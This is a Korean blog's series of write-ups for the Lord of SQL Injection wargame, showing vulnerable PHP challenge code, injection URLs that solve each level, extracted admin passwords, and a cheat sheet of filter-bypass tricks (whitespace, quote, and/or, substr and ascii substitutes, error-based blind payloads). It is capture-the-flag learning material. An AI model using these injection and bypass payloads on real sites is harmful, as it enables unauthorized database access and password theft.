14번
공백 문자 우회 문제
%0c
'WARGAME > LOS' 카테고리의 다른 글
[LOS] 16번 문제-zombie_assassin (0) | 2017.12.12 |
---|---|
[LOS] 15번 문제-assassin (0) | 2017.12.12 |
[LOS] 13번 문제-bugbear (0) | 2017.12.12 |
[LOS] 12번 문제-darkknight (0) | 2017.12.10 |
[LOS] 11번 문제-golem (0) | 2017.12.10 |
14번
공백 문자 우회 문제
%0c
[LOS] 16번 문제-zombie_assassin (0) | 2017.12.12 |
---|---|
[LOS] 15번 문제-assassin (0) | 2017.12.12 |
[LOS] 13번 문제-bugbear (0) | 2017.12.12 |
[LOS] 12번 문제-darkknight (0) | 2017.12.10 |
[LOS] 11번 문제-golem (0) | 2017.12.10 |
13번
substr,ascii,',공백,and,or,like,=
각각 우회기법
substr=mid
ascii=ord,hex
'=우회 못함
공백=%09
and=%26%26
or=||
=,like = in ()
pw=1&&no=1%09||%09%091%09in%09(1)
admin 위치는 no=2
pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)
그럼 이제 no를 통해서 admin의 패스워드 길이와 값을 구하면된다
pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)%09%26%26%09length(pw)<9
개수는 8로 구했고
hex 코드 사용해서 하나하나 구해주면 된다
pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)%09%26%26%09hex(mid((pw),1,1))<(100)
답:735c2773
[LOS] 15번 문제-assassin (0) | 2017.12.12 |
---|---|
[LOS] 14번 문제-giant (0) | 2017.12.12 |
[LOS] 12번 문제-darkknight (0) | 2017.12.10 |
[LOS] 11번 문제-golem (0) | 2017.12.10 |
[LOS] 10번 문제-skeleton (0) | 2017.12.10 |
12번
*참고
1. substr 우회
right, left, mid 사용
substr('apple',1,1) = 'a' -> right(left('apple',1),1) = 'a'
substr('apple',1,1) = 'a' -> mid('apple',1,1) = 'a'
2. ascii 우회
ord, hex 사용
ascii(substr(pw,1,1)) = ord(substr(pw,1,1))
3. =, like, or, and 우회
= : like, between, in, instr 이용
or : || and : &&
4. 빈칸(공백) 우회
' ' : ( ), /**/, %09, %0a, %0c, %0b, +
- HT(Horizontal Tab) = 수평탭, LF(Line Feed), VT(Vertical Tab) = 수직탭, FF(Form Feed)
5. ' (작은따옴표) 우회
char 이용 or " (큰따옴표) 사용
6. ereg, eregi 우회
- 특수문자 = %00 이용
- 문자열 = 대소문자 변경
7. preg_match 우회
\ 이용
8. 에러 발생 시 에러를 보여주지 않고 그냥 exit()로 종료 시킬 때
- error based blind 기법 활용
ex) ' or id='admin' and if(substr(hex(pw),1,1)='1',(select 1 union select 2),2)#
ex) ' or id='admin'&&power((length(pw)>10)+1,999999999999999999)# <- if나 case 등 조건문이 필터링되었을 경우
https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1%20%20or%201%20like%201%20id%20like%20%22admin%22
https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 like 1 and armor(mid((pw),1,1))<120 %23
substr(string,a,b)
right(left(string,a),b)
https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 like 1 and length(pw) like 8%20%23
8자리고
비밀번호는:1c62ba6f
49,99,54,50,98,97,54,102
https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 lkie 1 and no like 2 and ord(mid((pw),1,1)) like 49 %23
pw는 '' 라서 오류를 낼 방법이 없으니까
no로 오류를 발생시켜야한다 no는 숫자라서 space로 오류를 낼수가있다 그래서 오류를 내고 1=1 줘서 모든 값을 출력한다
그다음 쿼리를 쓰기위해서 id='admin' 을 해야하는데 여기서 ' 싱글쿼터를 막아서 id='admin' 조건을 줄수없으니까 no를 활용해야한다
그래서 limit사용해서 구조를 파악하니까 admin은 no가 2가 출력이 되었다
그래서 no=2를주고 ascii랑 substr이 막혀서 각각 armor mid 로 우회해서 값을 찾아 입력하였다
https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 and no like 2 and ord(mid((pw),1,1)) like 49 %23
[LOS] 14번 문제-giant (0) | 2017.12.12 |
---|---|
[LOS] 13번 문제-bugbear (0) | 2017.12.12 |
[LOS] 11번 문제-golem (0) | 2017.12.10 |
[LOS] 10번 문제-skeleton (0) | 2017.12.10 |
[LOS] 9번 문제-vampire (0) | 2017.12.10 |
11번
?pw='|| id like 'admin %26%26 length(pw)<9 %23
길이를 먼저 구해주고 8글자
?pw=%27||%20id%20like%20%27admin%27%20%26%26%20length(pw)<9%20%23
and or =
막힌 문자열을 우회처리해서 값을 구해준다
답:88e3137f
[LOS] 13번 문제-bugbear (0) | 2017.12.12 |
---|---|
[LOS] 12번 문제-darkknight (0) | 2017.12.10 |
[LOS] 10번 문제-skeleton (0) | 2017.12.10 |
[LOS] 9번 문제-vampire (0) | 2017.12.10 |
[LOS] 8번 문제-troll (0) | 2017.12.10 |
10번
https://los.eagle-jump.org/skeleton_8d9cbfe1efbd44cfbbdc63fa605e5f1b.php?pw='or 1=1 limit 1,1 %23
뒤에
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
1=0을 주석 처리 해버리고
리미트 써서 풀어 주면 답이 출력된다
[LOS] 12번 문제-darkknight (0) | 2017.12.10 |
---|---|
[LOS] 11번 문제-golem (0) | 2017.12.10 |
[LOS] 9번 문제-vampire (0) | 2017.12.10 |
[LOS] 8번 문제-troll (0) | 2017.12.10 |
[LOS] 7번 문제-orge (0) | 2017.12.09 |
9번 문제
str_replace 문자가 있어서 쉽게 우회했다
$_GET[id] = str_replace("admin","",$_GET[id]);
str_replace 우회하기
id=adadminmin
[LOS] 11번 문제-golem (0) | 2017.12.10 |
---|---|
[LOS] 10번 문제-skeleton (0) | 2017.12.10 |
[LOS] 8번 문제-troll (0) | 2017.12.10 |
[LOS] 7번 문제-orge (0) | 2017.12.09 |
[LOS] 6번 문제-darkelf (0) | 2017.12.09 |
8번 문제
' 싱글 쿼터가 preg_match로 막혀있는 문제였다
그래서 도저히 id를 직접 입력할수 없는 문제여서 처음엔 싱글쿼터를 우회를 할수있지 않을까? 라는 생각에 도전을 해보았지만
시간만 잡아 먹었다
그리고는 코드를 다시 보는데 ereg 함수가 보여서 허무할 따름이였다.
대소문자 구별을 못하기 때문에 Admin과 같이 하면 우회를 할 수 있다
[LOS] 10번 문제-skeleton (0) | 2017.12.10 |
---|---|
[LOS] 9번 문제-vampire (0) | 2017.12.10 |
[LOS] 7번 문제-orge (0) | 2017.12.09 |
[LOS] 6번 문제-darkelf (0) | 2017.12.09 |
[LOS] 5번 문제-wolfman (0) | 2017.12.09 |
7번
7번
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27||%20id=%27admin%27%20%26%26%20%20length(pw)=8%23 길이 찾고
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27||%20id=%27admin%27%20%26%26%20%20ascii(substr((pw),1,1))=54%23
한문자 한문자 검색
답
6c864dec
[LOS] 9번 문제-vampire (0) | 2017.12.10 |
---|---|
[LOS] 8번 문제-troll (0) | 2017.12.10 |
[LOS] 6번 문제-darkelf (0) | 2017.12.09 |
[LOS] 5번 문제-wolfman (0) | 2017.12.09 |
[LOS] 4번 문제-orc (0) | 2017.12.09 |
6번
6번
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf");
highlight_file(__FILE__);
?>
or and () 다 못쓰고 항상 참인 경우를 만들기
# =, and, or 필터링 됐을 때
- 각각 like, &&, ||
https://los.eagle-jump.org/darkelf_6e50323a0bfccc2f3daf4df731651f75.php?pw='|| 1=1 limit 1,1 %23
[LOS] 8번 문제-troll (0) | 2017.12.10 |
---|---|
[LOS] 7번 문제-orge (0) | 2017.12.09 |
[LOS] 5번 문제-wolfman (0) | 2017.12.09 |
[LOS] 4번 문제-orc (0) | 2017.12.09 |
[LOS] 3번 문제-goblin (0) | 2017.12.08 |
5번
띄어쓰기 우회 %09
*SQL Injection 공격시 공백 문자 필터링시 우회 방법
https://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='or%091=1%09limit%091,1%23
공백문자를 필터링해서 우선 모든 칼럼이 나오게 설정한뒤 limit로 값을 지정해준다
1. Tab : %09
- no=1%09or%09id='admin'
2. Line Feed (\n): %0a
- no=1%0aor%0aid='admin'
3. Carrage Return(\r) : %0d
- no=1%0dor%0did='admin'
4. 주석 : /**/
- no=1/**/or/**/id='admin'
5. 괄호 : ()
- no=(1)or(id='admin')
6. 더하기 : +
- no=1+or+id='admin'
우회문자
'=' -> like,<>,in
ascii -> ord()
substr->substring,left,right,mid
[LOS] 7번 문제-orge (0) | 2017.12.09 |
---|---|
[LOS] 6번 문제-darkelf (0) | 2017.12.09 |
[LOS] 4번 문제-orc (0) | 2017.12.09 |
[LOS] 3번 문제-goblin (0) | 2017.12.08 |
[LOS] 2번 문제-cobolt (0) | 2017.12.08 |
4번 문제
쿼리문이 2개 쓰인 문제이다
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
보이는 쿼리문에서는 GET[pw] 가 addslashes 로 묶여 버려서 우회가 "절대" 불가능하다
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
이걸 우회해야 답을 풀수 있다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
위 문장을 보면 pw가 값이 입력되야 풀리는걸 볼수있는데
즉 id는 admin 이고 그에 맞는 비밀번호를 구해야한다
https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw='or id='admin' and length(pw)<9 %23
이렇게 pw의 개수를 참 거짓이 출력되는 화면을 보고 구하고
https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw='or id='admin' and ascii(substr((pw),1,1))<100 %23
[LOS] 6번 문제-darkelf (0) | 2017.12.09 |
---|---|
[LOS] 5번 문제-wolfman (0) | 2017.12.09 |
[LOS] 3번 문제-goblin (0) | 2017.12.08 |
[LOS] 2번 문제-cobolt (0) | 2017.12.08 |
[LOS] 1번 문제-gremlin (0) | 2017.12.08 |
3번
코드 //<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
highlight_file(__FILE__);
?>
id 가 출력이 되는데 그 조건은 where id가 guest고 no가 입력받은 $_GET 숫자여야한다
코드를 보면 검색해서 한줄씩 가지고 올수있는데
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
$result = @mysql_fetch_array(mysql_query($query));
만약 no가 admin인 숫자를 맞춰서 admin으로 접속하면 문제가 풀린다
우선 풀이가 생각이 안나서 no값을 1~100번까지 대입했는데..
헛수고였다ㅠ _ㅠ
sql 쿼리의 특징을 보니 select쿼리 끝에 항상 참인 결과가 들어가면 그 테이블안에있는 모든 칼럼이 출력되는걸 보고
모든 칼럼을 출력을 했다
여기서 이제 생각할건 그 모든 칼럼중에 admin 을 어떻게 출력할거인가 였는데
생각보다 쉽게 풀렸다 order by 1로 한개만 출력할수도 있었고 limit를 사용하여 한개만 출력할수 있었다
답은
https://los.eagle-jump.org/goblin_5559aacf2617d21ebb6efe907b7dded8.php?no=2 or 1=1 order by 1
[LOS] 6번 문제-darkelf (0) | 2017.12.09 |
---|---|
[LOS] 5번 문제-wolfman (0) | 2017.12.09 |
[LOS] 4번 문제-orc (0) | 2017.12.09 |
[LOS] 2번 문제-cobolt (0) | 2017.12.08 |
[LOS] 1번 문제-gremlin (0) | 2017.12.08 |
2번
코드 분석//
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
2번은 id값이 있어야 하고 그 id 값은 admin 이여야 하는 문제였다
만약 admin 이 아니면 You are not admin 문잔이 출력된다
답:
https://los.eagle-jump.org/cobolt_ee003e254d2fe4fa6cc9505f89e44620.php?id=admin ' %23
아까와 같은 방식으로 id에 admin을 입력한뒤 그 뒤를 주석처리 해버리면 문제풀이가 가능하다 %23<-은 url 인코딩을 통해서 나오는 # 주석처리의 결과이다
[LOS] 6번 문제-darkelf (0) | 2017.12.09 |
---|---|
[LOS] 5번 문제-wolfman (0) | 2017.12.09 |
[LOS] 4번 문제-orc (0) | 2017.12.09 |
[LOS] 3번 문제-goblin (0) | 2017.12.08 |
[LOS] 1번 문제-gremlin (0) | 2017.12.08 |
1번
코드 분석
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
1번문제는 "id" 값에 어떤것이든 값이 있으면 해결되는 문제였다
모든 변수가 참이되도록 입력해주면 답이 나온다
https://los.eagle-jump.org/gremlin_bbc5af7bed14aa50b84986f2de742f31.php?id=1'or 1=1 %23
id가 ''으로 문자열 처리 되어있으니까
id=1' 막아두고 모조건 참이 되도록 or 1=1을 입력해준다
[LOS] 6번 문제-darkelf (0) | 2017.12.09 |
---|---|
[LOS] 5번 문제-wolfman (0) | 2017.12.09 |
[LOS] 4번 문제-orc (0) | 2017.12.09 |
[LOS] 3번 문제-goblin (0) | 2017.12.08 |
[LOS] 2번 문제-cobolt (0) | 2017.12.08 |